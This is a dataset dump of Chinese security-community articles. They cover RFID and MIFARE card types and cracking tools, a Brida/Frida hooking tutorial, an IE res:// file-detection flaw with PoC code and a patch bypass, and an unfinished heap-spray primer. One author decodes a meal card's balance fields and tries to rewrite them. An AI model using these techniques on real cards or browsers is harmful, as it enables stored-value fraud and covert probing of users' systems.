text
stringlengths 100
9.93M
| category
stringclasses 11
values |
|---|---|
# 0 导读
**门禁卡安全么？二代身份证安全么？他们能否轻易复制，又是使用什么样的技术进行通讯和存储信息的？
一文解答你的困惑。**
# 1 卡片分类
**IC卡，ID卡，M1卡，RFID卡，各是什么？按照什么来进行分类的？**
### 1.1 ID卡：一般只读，只储存ID
ID卡：只存储了ID号，设备识别ID号，没有算法可言，容易复制，安全性低。应用：普通门禁卡。
### 1.2 IC卡(Integrated Circuit)：带芯片的智能卡统称
1970年由法国人Roland Moreno发明，他第一次将可编程设置的IC芯片放于卡片中，使卡片具有更多功能。
IC卡”和“磁卡”都是从技术角度起的名字，不能将其和“信用卡”、“电话卡”等从应用角度命名的卡相混淆。自IC卡出现以后，国际上对它有多种叫法。英文名称有“Smart
Card”、“IC Card”等；在亚洲特别是香港、台湾地区，多称为“聪明卡”、“智慧卡”、“智能卡”等；在我国，一般简称为“IC卡”。
### 1.3 磁条卡：磁性介质存储的卡。
磁性介质存储，可被轻易读取，被复制，无密码时，复制的卡片无认证，极易被盗刷。一般为接触式。
### 1.4 RFID 卡：所有采用射频识别技术的卡、无接触式
所有采用无线射频识别即射频识别技术（Radio Frequency Identification，RFID）的卡。
根据供电方式又分为：
无源卡：没有电源，近距离接触识别、频段低。应用：校园卡，公交卡，二代身份证。
有源卡：自带电源，可以主动向外发射信号。应用：ETC系统。
半有源卡：平常处于休眠状态，低频信号激活后，电源供电高频精确通信。
无源RFID自身不供电，但有效识别距离太短。有源RFID识别距离足够长，但需外接电源，体积较大。而半有源RFID就是为这一矛盾而妥协的产物。半有源RFID又叫做低频激活触发技术。在通常情况下，半有源RFID产品处于休眠状态，仅对标签中保持数据的部分进行供电，因此耗电量较小，可维持较长时间。当标签进入射频识别阅读器识别范围后，阅读器先现以125KHz低频信号在小范围内精确激活标签使之进入工作状态，再通过2.4GHz微波与其进行信息传递。也即是说，先利用低频信号精确定位，再利用高频信号快速传输数据。
### 1.5 M1卡(NXP Mifare1 Card):使用M1芯片的非接触式IC卡，可读写
所谓的M1芯片，是指飞利浦下属子公司恩智浦出品的芯片缩写，全称为NXP Mifare1系列，常用的有S50及S70两种型号。常见的有卡式和钥匙扣式。
存储了ID号，可读写数据，M1卡发一个数据到设备，设备再传一个数据给M1卡确认，再进行交易或身份认证，只有一个算法。可以反复计算卡片秘钥，进行暴力破解。
特点：可读写，有存储器无处理器。
### 1.6 射频存储卡
同上
是采用了射频功能的存储卡。
M1卡是射频存储卡的一个子集，市面上大部分使用的射频存储卡，都采用了M1卡芯片。
特点：可读写，有存储器无处理器。
### 1.7 CPU 卡：有处理器的卡
有操作系统，可存储数据，也有自己的ID号，CPU卡发一串数据给设备，设备与SAM卡进行运算，设备再发一串数据回CPU卡确认，然后进行交易或身份认证；跟M1卡的区别在于一个算法在空中，一个算法在设备里面；无论是卡商，设备商，运营商，都不知道其中的算法，所以这个系统的安全性会高很多。
有接触式也有非接触式。
特点：可读写，有存储器和处理器。安全性极高，卡片内部有微处理器和储存空间，
### 1.8 芯片卡：
CPU卡的另外一种简称，即可接触式也可以非接触式。
## 1.9 其他概念
### 接触式非接触式：
**非接触式卡** 其实就是射频卡，由IC芯片、感应天线组成，封装在一个标准的PVC卡片内，芯片及天线无任何外露部分（也不一定）。
**接触式卡：**
芯片金属暴露在外，肉眼可以看见，通过芯片上的触点可与读写外界接触交换信息。现在的银行卡大部分都是接触式的芯片卡。
**但是也有例外**
，以苏州的社保卡为例，芯片暴露在外面，既可以进行接触式刷卡（刷医保），也可以进行非接触式刷卡（坐公交等）。是将RFID和这两种技术融合在一起了。
### NFC 和 RFID的关系和区别
NFC是RFID的一部分，ETC是RFID的一个分支，它们都是无线射频技术。它们都有各自的使用领域，可以说是相辅相成。
NFC的工作频率为13.56MHz，ETC的工作频率为2.45GHZ，而RFID的工作频率有低频，高频（13.56MHz）及超高频。
工作距离：NFC的工作距离理论上为0-20cm，但是在产品的实现上，由于采用了特殊功率抑制技术，使其工作距离只有0-10cm，从而更好地保证业务的安全性。由于RFID具有不同的频率，其工作距离在几厘米到几十米不等。
工作模式：NFC同时支持读写模式和卡模式。而在RFID中，读卡器和非接触卡是独立的两个实体，不能切换。
点对点通信：NFC支持P2P模式，RFID不支持P2P模式。
应用领域: RFID更多的应用在生产，物流，跟踪和资产管理上，ETC主要用于高速收费，而NFC则工作在门禁，公交卡，手机支付等领域。
标准协议:
NFC的底层通讯协议兼容高频RFID的底层通信标准，即兼容ISO14443/ISO15693标准。NFC技术还定义了比较完整的上层协议，如LLCP，NDEF和RTD等。
# 2 各类卡片结构&通信原理协议&识别方式&安全性分析
前面是把各类卡片的类型大致梳理了一遍，接下来介绍各个卡片的结构和通信原理。
这里主要介绍 **非接触式IC卡的结构**
### 2.1 卡片组成结构
非接触式IC卡主要由：IC芯片、感应线圈组成的，封装在一个标准的PVC卡片内部。
实际上是将IC卡和射频识别技术结合在一起，通信距离大概是5-10cm。
### 2.2 供电原理
无源IC卡 比如M1卡是带有存储功能，CPU卡不仅有存储器还有微处理器。所以在接触过程中，需要进行供电。
供电的方式是采用 **电磁感应** ，射频读写器回想IC卡发一组固定频率的电磁波。卡片内部就有一个LC连谐振电路，和读写器发射的频率相同。
这样在电磁波激励下，LC谐振电路产生共振，从而使电容内有了电荷；在这个电荷的另一端，接有一个单向导通的电子泵，将电容内的电荷送到另一个电容内存储，当所积累的电荷达到2V时，此电容可作为电源为其它电路提供工作电压，将卡内数据发射出去或接受读写器的数据。
也就是感应线圈，从中获得持续稳定的直流工作电源电压，通过查文献，现在的电压已经可以达到3.5V。
### 2.3 通信原理
非接触性IC卡与读卡器之间通过无线电波来完成读写操作。
二者之间的通讯频率为13.56MHZ。
非接触性IC卡本身是无源卡，当读写器对卡进行读写操作时，读写器发出的信号由两部分叠加组成:
1. 一部分是电源信号，该信号由卡接收后，与本身的L/C产生一个瞬间能量来供给芯片工作。
2. 另一部分则是指令和数据信号，指挥芯片完成数据的读取、修改、储存等，并返回信号给读写器,完成一次读写操作。
**reader-读写器** 则一般由单片机，专用智能模块和天线组成，并配有与PC的通讯接口，打印口，I/O口等，以便应用于不同的领域。
### 2.4 通信协议
先描述几个概念：
标签（Tag)———卡片头部存储信息又叫做标签。比如我们用Mifare Classic Tool
对卡片进行读取的时候。提示的就是对标签进行查找，一般卡上的标签指的是卡片UID。
通信分为以下几个过程：
1. 寻卡过程：
当 MIFARE Classic 卡接近读卡器的磁场区域时，卡片会接收到读卡器发来的寻卡指令，然后按照防冲突协议发出自己的卡号 UID。
2. 选卡过程：
收到 UID 后，读卡器会选择这张卡（选卡过程）。接着读卡器发出对某一块扇区or全部的认证请求。
3. 认证过程（双方）：
大部分情况下，可以抽象为以下三个步骤：
【1】卡片产生一个随机数 NT 并以明文方式发送给读卡器。（一般是伪随机数，且为硬件随机的方式）
【2】读卡器获取到卡片的ID和随机数NT，根据卡片的ID在数据库中找到卡片的key。使用key将卡片发出的随机数NT加密
得到对卡片的应答aR。接着将对卡片的应答aR和读卡器的自己的随机数nR发给卡片
【3】卡片首先用自己的秘钥key验证nR
，如果读卡器发送的nR错误，认证流程直接结束，所有的数据都会变成不可读。如果读卡器发送的nR正确，卡片会用自己的秘钥对读卡器的随机数nR计算后发送。
整个过程如图所示：
有些卡是非加密卡，可以直接进行读取和模拟。
值得一提的是，在只有存储功能的M1卡中，加解密算法以及key都使用电路硬件实现的，写死在卡片上。
所以这就产生了一个问题，可以不断地重复，对秘钥进行爆破。因为M1卡没有记录秘钥尝试次数的功能。
所以，只要有设备我们就可以对M1卡进行一个爆破了。
然而，CPU卡 就复杂多了，内部有处理器，加密过程是通过CPU实现的。同时拥有记录尝试次数的逻辑判断，如果秘钥输入次数过多，卡片就会锁死。
# 3 M1卡片破解
M1卡 破解以及读写工具：
### 3.1 **最简单工具——带NFC功能的小米手机**
【1】硬件工具：NFC功能手机
【2】软件：Mifare Classic Tools
### 3.2 **PN532 30￥左右**
PN532 淘宝价格大概30￥左右，
需要进行焊接或者用胶带粘起来
用USB连接电脑进行使用
**上位机安装miLazyCracker**
1. 下载地址：<https://github.com/nfc-tools/miLazyCracker>
2. CraptEV1文件可自行下载
<https://pan.baidu.com/s/1FOWQUTH6AQ_aPcrsW9fILA>
提取码: 7vjj*
3. Linux上安装libnfc驱动，参考见这篇简书<https://www.jianshu.com/p/313510d67411>
4. Linux上安装miLazyCracker，就一行命令：./miLazyCrackerFreshInstall.sh
安装完毕后，创建一个临时目录，既可以开始暴力破解了。
### 3.3 PM5PM6 100-110￥左右
大概长这样的：
有专门的M1卡服务程序：可以进行一键读写、爆破等。
设备之间的对比：现在某宝上已经可以买到PM6了，可以破解更多型号的卡片。
# 4 破解尝试——身边的卡片
首先第一个想到的是公司食堂饭卡，其次是公司的门禁卡，然后就是社保卡、身份证。
本人全都试了。
因为没有购买专门的破解设备，我就先用手机进行尝试：
### 4.1 公司卡：
看见上面有写SAK20，SAK20的卡是CPU卡，没有通用的破解工具，无法进行简单破解。毕竟是安全公司哈，安全性还是可以的。
### 4.2 接着看一下社保卡：
社保卡读取的数据全部都是空，我市的社保卡是有NFC功能，并且可以当做公交卡刷卡使用的。
没有数据，有可能是因为是半加密的，也有可能是因为没有使用过NFC的功能，所以没有数据。
### 4.3 接着是二代身份证：
将卡片放置在手机NFC功能上，手机能感应到卡片，但是没有任何响应，甚至连标签Tag都没有出现。我猜测二代身份证是使用的CPU卡，到网上查找资料，是非接触式IC卡（typeB的带COS-芯片操作系统-的CPU卡），也就是我们说的RFID功能的CPU卡。
但是为什么读不出来，就不清楚了，可能采用的芯片，MCT软件识别不出来，连卡片的UID都没有。
### 4.4 最后是某餐饮公司饭卡：
M1 是被动卡，需要读卡器为之供能，一旦读卡器切断电源，卡中临时数据就会丢失，所以无论试错多少次密码都不会被锁定因此容易被暴力破解。
**所有的数据都可以读出来**
可以观察到只有0-3这四个扇区有数据，别的扇区没数据。
因为每天只有中午吃饭的时候用到这张饭卡，所以首先需要积累一定量的数据量。然后再进行分析。
首先采集了两天的数据，每天刷一次卡，且知道卡的金额，对比。
Block0是卡片的信息数据。包括卡片本身的UID、型号厂商等信息。最后一行代表的是卡片的key
很多不安全的卡片默认key为FFFFFFFFFFF。
keyA和keyB的作用各不相同。后面解释一下
* * *
将扇区2-3的数据提取出来，5天的量。可以观察到扇区2的第一行四个十六进制代表的是卡片余额。
如下：
【255】
9C630000000000000000001C3E000B00
000000DC050000000000000000010000
00000000000074290B1C0EC67400001A
\------------FF078069FFFFFFFFFFFF
【270】
78690000000000000000004038000A00
000000DC050000000000000000010000
00000000000073290B2214C673000000
\------------FF078069FFFFFFFFFFFF
【285】
546F0000000000000000006432000900
000000DC050000000000000000010000
00000000000072290B1E1BC6720000FA
\------------FF078069FFFFFFFFFFFF
【300】
3075000000000000000000882C000800
000000DC050000000000000000010000
00000000000071290B1C03C67100001A
\------------FF078069FFFFFFFFFFFF
【315】
0C7B000000000000000000AC26000700
000000DC050000000000000000010000
00000000000070290B1D00C6700000F9
\------------FF078069FFFFFFFFFFFF
比如 255元，的9C63 实际上进行一个颠倒就是 63
9C，转换成十进制就是255.00。时精确到分的16进制表示。这个块的后面4个十进制数代表的一直意义不明。
直到在网上查了M1卡开发指南，猜测是某种 **校验** 。后来将所有的数据中金额和后面16进制数加起来，发现结果都相同，验证了我的猜想。
69 78 +28 40=A1B8
63 9C+ 3E 1C=A1B8
....
所以，校验的方式就是将两个数字相加。
* * *
第二行的数据DC05 原本以为是固定不变的数据，后来发现是每天的 **消费金额** ， 05DC 十进制是1500
是每天消费的金额15元，后面1表示的是每天消费的次数为1次。
* * *
第三行数据，分别比较各个数据 29
7X的数据是一个递增数据，猜测应该是某钟时间数据。根据后面的纪录，发现并不是依次递增，比如经过某个周末的时候，这个数据会跳两个。应该是日期的数据。
然后就是0B1C0E的数据，这几个数据是不规则变化的，但是经过观察发现 1C
0E等等转化成十进制永远不超过60。猜测应该是上一次刷卡的时间数据。有一次中午吃饭的时候，观察了刷卡机上面的时间，验证得到确实是时间数据。
比如0B2214 就是11：34：20秒，这样的一个时间数据。
最后一个C674的数据也是个递增数据，应该是刷卡次数的递增数据。记录累计的一个刷卡次数。
然后还有最后两个十六进制数，猜测应该是一个校验数据。
通过对比这些数据，我们可以对上述的卡片数据进行一个改造然后重新写入。
但是，对数据进行改造之后发现无法对饭卡进行写入，错误是写访问秘钥A未知。
但是我们之前已经爆破出来了读取的秘钥，写的秘钥有可能是这个软件的原因，也有可能是设备的原因（按道理是FFFFFFFFFF的默认秘钥），因此无法进行写入。可能需要后续购买设备进行研究。
# 5 总结和展望
### 5.1 智能卡 发展现状
**2013年的数据：**
我国也已成为世界上最大的 IC 卡市场之一，2011年，我国 IC 卡实现销售收入达到 90 亿元，销售数量达到 24.3 亿张（包括接触式 IC
卡、非接触式 IC 卡和双界面卡）。二代身份证是我国非接触式 IC 卡最大的应用之一，据统计，截止 2011 年底，我国已累计发行二代身份证 10
亿张左右。
**智能卡片发展要求：**
1. 高安全性
应用最广泛的是对称密钥加密算法 DES 算法以及双长度密钥的 3DES 算法。此外，还有一些 IC 卡已经集成了非对称性密钥算法，如 1024 位 RSA
算法。
2. 低功耗
绝大多数非接触式 IC 卡的内部不带有电池，其工作电源主要来源于天线上感应到的磁场能量。因而低功耗设计对于非接触式 IC 卡来说显得极为重要，且现在非接触式
IC 卡的功能越来越复杂，容量也越来越大，有些 CPU卡中还包含微处理器及高性能的安全算法，这无疑对非接触式 IC 卡的低功耗设计提出了更高的要求。
3. 一卡多用
一张 IC 卡能够具有健康卡、信用卡、交通卡等多种功能, 如此将要求 IC 卡具有更大的存储容
量、更快的存取速度。
4. 大容量
实现非接触式 IC 卡一卡多用的功能，需要在卡中集成具有一
定容量的存储器以保证能够存放卡在不同应用下的数据。目前的 IC 卡大多采用
存储器分区的方法来实现不同应用数据的存放。而 CPU 卡的出现，则使得 IC 卡
需要开辟一定的存储区域用于存放卡内操作系统。因此，大容量是当今 IC 卡发
展的重要方向。
5. 复合式
发展复合式 IC 卡 复合式卡即双界面卡，其既可以通过接触式方式与读卡器进行交互，也可以通过非接触式方式与读卡器进行交互，这使得 IC
卡可以应用于多种场合，极大的方便了人们的生活。现在很多国际大公司包括国内的一些公司都已成功开发了双界面IC卡并投入使用。
国家三种标准的非接触IC卡距离
### 5.2 威胁建模以及攻击方式研究现状
攻击者可利用标签和读卡器通信信道的物理特性实施的攻击，攻击主要方式有以
下几种。
【1】 **干扰攻击：**
干扰攻击主要采用一些技术手段扰乱、破坏标签和读写器之间的传输信号，以达到破坏系统的可用性的目的。但有些时候，攻击不都是外部有目的的干扰，也可能是多读写器同时工作，或信道本身质量不好导致的内部干扰。
* * *
【2】 **克隆攻击：**
也可以称之为复制攻击。主要通过复制他人的电子标签或智能卡等的信息，并利用它进行冒名顶替以获得某些经济或其它方面的利益。从目前的情形来看，攻击者复制智能卡的成本不是太高，对技术条件的要求也比较低，这样就使得克隆攻击经常发生。
**【案例】**
2004年，约翰霍普金斯大学和实验室的一些研究人员找到了DST的安全弱点，并示范了对的复制攻击这里，是由德国仪器（公司制造的一种低频设备，该设备通过内置加密功能来实现数字签名验证功能。当时，主要被用于防止汽车盗窃，已经被配备在数以万计的汽车上。研究者们的攻击显示，只通过一些少量的、简单的挑战响应对，可以破解含有的汽车钢匙，实现对的完全复制。
* * *
【3】 **芯片攻击：**
芯片是标签的核心部件，承担存储和计算功能。针对标签芯片常见的攻击手段主要有两种：电流分析攻击和故障攻击。根据实施特点，电流分析攻击可以分为
**简单电源攻击和差分电源攻击**
。故障攻击的原理是通过攻击导致一个或多个触发器出现故障，从而对标签寄存器中的数据进行破坏。该攻击的主要目的是通过一些泄漏信息，来获得芯片内密码算法信息，甚至密钥信息。
**【案例】**
：2008年，荷兰政府宣称的芯片可以被破解。是芯片类的一大家族，被广泛应用于城市的非接触公交卡和门禁卡，据估计，当时全球至少有亿张含芯片的卡片处于使用当中。芯片的易受攻击性可被黑客利用来克隆采用该芯片的非接触卡。荷兰大学和德国大学两个独立研究小组分别证实了芯片的易受攻击性。荷兰大学实际进行了芯片的破解过程，并将项的开展过程公布的网络上，还附上一段视频，以影片的形式讲述了一个黑客团体在未知的情况下对卡进行了克隆。德国大学则发表了篇破解芯片加密算法的论文。
（由于 Mifare 1 卡的认证与数据的传输均采用相同的安全算法和密钥，安全算法的破解使得攻击者在较短时间内即可获得 Mifare 1 卡的密钥，进而获取
Mifare 1 卡中的数据信息并可对卡中的数据做恢复或对卡进行复制。为防止此类事件的出现，目前已有一些国家宣布禁止继续使用 Mifare 1
卡，而在其它一些地区，也对 Mifare 1 卡的安全性提出了重新评估的要求。与此同时，我国也下发了相关文件，要求各级单位对 IC
卡安全工作梳理排查，采取保障措施，防止不法分子利用 Mifare 1 卡漏洞进行恶意攻击和破坏。）
**【案例】：** 2011年，德国鲁尔大学的研究人员采用侧信道攻击，花费了七个小时，破解了使用Mifare DESFire MF3ICD40
的安全算法，获得了智能卡使用的112位加密密明，破解所需设备需要3000美元。该破解加密力法的出现将使得对RFID芯片的完美复制成为可能。
* * *
【4】可用性攻击：
毁坏攻击是攻击者在获得、接触到标签实体的情况下，对标签实体实施物理破坏。例如对天线部分进行破坏，这样将导致标签无法获得足够的通信能量，还可以导致电子标签读写距离降到最小同时，种更高级的远程攻击方法被提出，在不需要接触标签的情况下，使招相关工具产生强电磁脉
冲来破坏标签接收电路，使得标签不能使用。该攻击的的是使标签被损，不能与读写器通信。
* * *
【5】其他攻击方式
重放，异化，标签失效，Dos攻击，窃听攻击，中间人，等等
**【案例】**
2009年2月13日，恩智普全球交通事业部总经理CiaranFisher和HenriArdevol恩智普中国智能识别事业部高级经理田陌晨、职员姜晨以及芯片代理商深圳市杰灵昌科技有限公司总经理曹磊一行共5人，专门就M1芯片漏洞及其解决方案到达实公司进行了长达三个小时的交流。并针对网上流传的荷兰政府发布了一项警告进行了澄清及解释，提出此破解S50卡前题还需要以下几个前提：
1、需要购买国外提供破解方案组织的专用设备（此设备已根据相关政府组织禁止出售）
2、或需要拿到正在使用中的原系统的读卡设备
3、需要接触到正在使用中的用户卡片，再针对此算法的漏洞进行暴力破解。
具备这些条件后，复制一张卡需要10~30分钟，这种破解方式，理论上任何密码都能破解，只要有足够的时间,从原理上说就是强行对密钥算法的破解。本次密钥的破解也只是针对使用标准钥匙算法中出现的一种风险事件，但并不代表所有使用Mifare卡系统产品的加密机制全部直接采用原有钥匙。
### 5.3 M1卡的安全建议
1. 国内很多厂商对于卡密都没有进行修改大部分都是弱密码，如 FFFFFFFFFFFF、000000000000 等而 M1 是被动卡，需要读卡器为之供能，一旦读卡器切断电源，卡中临时数据就会丢失，所以无论试错多少次密码都不会被锁定因此容易被暴力破解。可以采用复杂密码以提高安全。
2. IC 卡分 16 个扇区，很多厂商只对和金钱有关的扇区进行加密，这样就很容易通过对比来解密加密的扇区。可易 16 个扇区全加密多加混淆以提高分析难度。
3. 由于有些厂商对 IC 卡的加密非常信任，数据完全存放于 IC 卡中，不与数据库做交互，因此有人利用这一漏洞来修改IC卡中的信息从而达到非法的目的。这种问题的解决办法是将卡中信息存入数据库中，每次刷卡时将IC卡中的信息与数据库中的信息做对照，如果一样可以使用，如果不一样则禁止此卡使用。
4. 逐渐 M1 卡替换成安全系数更高的 CPU 卡。 | 社区文章 |
# Brida入门
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## Brida入门
### 前言
Brida是Burp中的一个插件，它可以把Burp和Frida结合起来使用，简化测试流程，通过Brida能在Burp中直接调用目标app中的加/解密函数，进行参数修改测试更多的输入点。
### Brida及其依赖安装
Brida在Burp的插件商店中有下载。
因为Brida目前仅支持python2.7，你需要配置python2.7。
然后是需要配置Frida，我这里用的12的，手机上注意对应版本，并启动Frida server。
然后电脑还要安装两个依赖。
Pyro4安装：
pip install Pyro4
frida-compile安装，这里需要指定版本为9.x，大于9也行，但是会麻烦点。
npm install frida-compile@9
安装好以后，页面如下：
简单看下他的配置：
### 简单实操
现在找个简单的app来测试（手头没有适合讲的app，挑了个有加密的，最后是有点问题的）。
在手机启动app，先attach上对应的app。不知道进程名可以用frida-ps查看。
hook成功不会报错，它有bug有时候（经常）报错，，kill server再启动，然后spawn attach几个多点，多试。
然后在JS Editor中测试下js脚本能不能执行，模板用前面指定的Frida JS files folder目录下的Brida.js。
这里写了个简单的输出脚本。
然后去Debug export中进行调用，能正常输出就是好事。
### 加解密
简单的会用了，来继续看这个app。
数据包如下：发现都是加密的。
先jadx打开，定位算法，他没有加壳（我之前测过，定位加密算法过程简化了）。
直接通过encrypt之类的关键字定位到。
不放心，再用HttpDecrypt hook下看看，是否正确：
发现请求时，存在调用，不过他输入是bytes数组，后面写的时候要进行String转bytes的操作。
将String转bytes：
这里多次测试发现密钥固定，a为加密，c为解密。
这样就可以开始写hook了。
时间问题写了个加密的，解密的差不多，就不重复写了。
在Debug export中输入明文，执行如下，能实现基本功能：
解密的hook调用也是大同小异，不重复了。
## 总结
这里只是简单尝试了下Brida的基础功能，比Frida直接操作只是多了图形化，Brida更强大的地方在于能和Burp的各模块进行联动。
关于插件这块，下回分解。 | 社区文章 |
来源：[安全客](http://bobao.360.cn/learning/detail/3119.html)
原文链接：https://www.brokenbrowser.com/detecting-local-files-to-evade-analysts/
译者：[WisFree](http://bobao.360.cn/member/contribute?uid=2606963099)
### 前言
上个月，我们一直都在尝试弄清楚攻击者到底是如何通过检测目标系统中应用程序的相关MIME类型来对用户进行攻击的。如果目标计算机中安装了反病毒工具的话，恶意软件将拒绝下载恶意代码。这样一来，攻击者不仅可以保证恶意软件不会被检测工具所检测到，而且还可以在目标主机中潜伏很长的时间。当然了，所有的这一切都发生在浏览器中。虽然厂商及时修复了相关的漏洞，但我们现在仍然可以绕过补丁来实施攻击。
### 漏洞概述
今天我们要讲解的是另外一个指纹漏洞，这个漏洞将允许攻击者检测目标主机中是否存在某些类型的文件。根据Proofpoint公司的安全研究专家所透露的信息，这个漏洞是一个信息泄露漏洞，此前有很多不同的恶意广告活动和漏洞利用工具都利用了这个漏洞来实施攻击。目前，微软公司已经成功修复了这个漏洞。
在2015年10月至12月期间，Proofpoint公司的安全研究专家发现了至少两个信息泄露漏洞（[CVE-2016-3351](https://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-3351)和[CVE-2016-3298](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-3298)），并且已经将漏洞细节提交给了微软公司。微软于2016年9月份修复了漏洞CVE-2016-3351，并且在2016年10月份修复了漏洞CVE-2016-3298。但不幸的是，黑客在不到一天的时间里就成功绕过了这两个补丁。
### 利用漏洞CVE-2016-3298
我们可以加载目标文件的内部资源，并通过检查类似onload/onreadystate/onerror这样的事件是否发生来检测主机中是否存在某些目标文件（exe、dll和cpl等等），这种方法也是目前攻击者最为常用的方法。实际上，IE浏览器会使用内部资源来加载信息页面、错误信息、以及某些插件图标。虽然这些资源嵌入在二进制文件之中，但是我们也可以单独加载这些资源。
最常见的一个例子就是当我们尝试在IE浏览器中加载无效的URL资源时，IE浏览器会显示一个错误页面。比如说，当我们在浏览器地址栏中输入网址“http://invalidsite
”之后，IE浏览器就会将如下图所示的页面显示给我们：
我们看得懂这个URL地址，但是浏览器不一定看得懂，而这个页面很明显跟我们输入的网址没有任何关系。接下来，我们可以通过检查该页面的属性来找出该页面真正的URL地址：在页面空白处点击鼠标右键，然后在弹出的菜单中选择“页面属性”，浏览器便会将关于该页面的信息显示出来：
### 加载资源
正如我们所看到的那样，该页面的内容来自于`res://ieframe.dll/dnserror.htm#http://invalidsite/`，其中“res:”表示的是资源，而这是IE浏览器用来从二进制文件中加载内部资源所用的方法。默认情况下，浏览器会假设资源文件存在于目录“windows/system32”之中，但是我们也可以修改这个路径。比如说，如果我们安装了Fiddler，我们就可以轻易地找出其中的一个有效资源，并将其提供给IE浏览器。接下来，我们就可以通过检测readystate事件来查看资源是否加载成功了。
如果你使用的是Resource
Hacker这样的免费工具，那么你就可以直接读取到资源的名称和内容，并将它们以图片或者HTML文件的形式进行加载。为了进行简单的演示，我们在Resource
Hacker中打开并查看dnserror.htm的内容，具体如下图所示：
实际上，我们根本不需要通过Resource
Hacker来查找有效资源，因为二进制文件中的默认资源都有固定不变的值。比如说，所有二进制文件的“文件信息”都可以通过资源“/16/1（16 ==
RT_VERSION）”来查找。需要注意的是，我们完全不必检索每一个需要进行测试的文件，因为我们可以直接通过加载默认资源来实现我们的目的。比如说，我们可以向Fiddler提供资源的默认信息，而下面这段指令将会触发一个readystatechange事件。
res://c:\Program Files (x86)\Fiddler2\Fiddler.exe/16/1
### 安装补丁之前的PoC
为了利用这个漏洞，我们应该在一个iFrame中加载资源，并且记录下onreadystate事件被触发的次数。如果该事件被触发了一次，则说明目标文件存在；如果被触发了两次，则说明该文件不存在。
关键代码如下所示，如果你愿意的话，你也可以直接下载一个可用的PoC
[下载地址](https://goo.gl/4vW2U3) \- 密码：infected。
<iframe src="res://c:\Program Files (x86)\Fiddler2\Fiddler.exe/16/1" onreadystatechange="count++"></iframe>
<script>
count = 0;
// This onload gives the iFrame a bit of time to load.
// But has nothing to do with the method itself
window.onload = function()
{
if (count == 1) alert("File exists!");
else alert("File does not exist");
}
</script>
### 改进PoC
上面的这个PoC在上周之前还是可以正常工作的，但是因为微软在上周修复了这个漏洞，所以我们现在就得通过其他的方法来利用这个漏洞了。首先，让我们来看一看攻击者是怎么实现的。关键代码如下图所示：
在这里，恶意软件的作者使用了三种不同的技术来检测某一本地文件是否存在，但是漏洞现在已经被微软修复了。在上面这段代码中，第一个引起我注意的就是“mhtml:file”，因为即使IE禁用了“file:protocol”，但是mhtml仍然可以正常工作。于是我脑海中闪现了一个念头：虽然“mhtml:file”和“res://”已经无法使用了，但如果将mhtml和res配合使用的话，会不会产生意想不到的效果呢？
如果你正在使用IE浏览器的话，你可以直接在线体验一下这个漏洞[[传送门]](http://www.cracking.com.ar/demos/res/)。关键代码如下所示：
<iframe src="mhtml:res://c:\Program Files (x86)\Fiddler2\Fiddler.exe/16/1" onload="count++"></iframe>
<script>
count = 0;
window.onload = function()
{
if (count == 1) alert("File exists!");
else alert("File does not exist");
}
</script>
如果你想深入了解这个漏洞和相关的补丁程序，或者你想寻找其他绕过方法的话，我建议你下载免费版的IDA，然后尝试一下我们在之前利用mimeType漏洞时所使用的方法[[传送门]](https://www.brokenbrowser.com/detecting-apps-mimetype-malware/)，你也许可以从中得到一些启发。
我们现在已经知道的是，IE浏览器会非常乐意去加载类似“res://ieframe.dll”这样的东西，所以我们就可以找出这部分代码，然后看看是否能够利用这些代码来做更多有意思的事情。我直接告诉你吧，我们所要寻找的函数名为“IsIEResourcePage”。
接下来，我们要修改iFrame的location，并且要与之前设置为“res://ieframe.dll”时的返回值进行对比。
如果你懒得对返回数据进行手动对比的话，你也可以使用JavaScript脚本来完成这个任务。我在这里要跟大家分享一个小秘诀：当你在研究的过程中，最好使用window.open方法来修改iframe的location，尽量不要使用iframe.location。如果我们使用常规的修改方法，例如location.href和location.replace等方法，那么IE浏览器很可能会拒绝加载资源，此时浏览器将会返回一个“about:blank”页面。
关键代码如下所示：
<iframe name="ifr"></iframe>
<script>
// No errors, about:blank loaded in iFrame, very slow.
ifr.location = "res://testing.dll";
// Access Denied, nothing changes in the iFrame, super-fast.
window.open("res://testing.dll", "ifr");
// This last option can be used with a try/catch creating
// a battery of tests that will immediately return
// the result.
</script>
### 总结
没错，即使是官方发布了某一漏洞的修复补丁，也并不意味着这个漏洞就无法再被利用了。我之所以要撰写这篇文章，其中一个原因就是我想要将我所发现的东西分享给大家，以供大家学习和参考。但是我最重要的一个目的就是为了让微软公司认识到这个漏洞的严重性，希望他们能够更加重视这种类型的漏洞，并提升这类漏洞的威胁等级。
攻击者就是这样，当某个漏洞“被修复”之后，他们又会立刻尝试去寻找新的漏洞利用方法。在信息安全这个领域内，这种“猫捉老鼠”的游戏几乎是永无止境的。最后，安全客祝大家挖洞愉快！
* * * | 社区文章 |
# IE漏洞学习笔记（一）Heap Spray
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
摘要:HeapSpray这个技术是IE漏洞利用中非常重要的一点，能够绕过很多利用一般技术很难绕过的保护机制（DEP/ASLR），虽然这并不是一种漏洞利用手法，但是这种手法确实值得我们去研究和掌握。
## 第一章Heap Spray
HeapSpray常见于浏览器漏洞利用中。
通常使用JavaScript创建大量由Nop和shellcode组成的字符串中。JavaScript运行的时候会将每一个字符串的数据存储在堆中的新块上。
堆的分配通常从起始地址向上增长。所以当我们在为字符串分配了200MB的内存之后，在50MB和200MB之间的大量内存空间都被我们的Nop所填充。此时如果程序存在漏洞，就能将EIP覆盖为这段内存空间的地址，程序将会被控制跳转执行到这些NOP指令并且最终滑向我们的shellcode。
需要注意的是，Heap
Spray并不是类似栈溢出/UAF之类的漏洞利用方式，而是一种常见于浏览器攻击的shellcode布置方式，是在找到漏洞之后，为了绕过ASLR/DEP之类的保护机制的一类绕过技巧。
### 1.1堆喷射原理
在IE漏洞案例中，使用javascript申请200MB内存。其中的结构大概如下
分为200个1MB的块（slide），每个块由 大量的nops和一条shellcode组成。
---1MB---
nop
nop
nop
shellcode
---1MB---
nop
nop
nop
shellcode
-----
.....
---1MB---
nop
nop
nop
shellcode
-----
当Javascript成功申请这些的内存的时候，这些数据会覆盖到0x0c0c0c0c的位置，这样只需要通过缓冲区溢出漏洞将EIP修改为0x0c0c0c0c就能跳转到这个位置。
而slide中存在大量的nops，只要EIP跳转到nops中就会顺利地滑动到shellcode执行，因为shellcode的长度相对于1MB是非常短的，所以成功率并不低。
### 1.2 javascript堆管理
案例代码
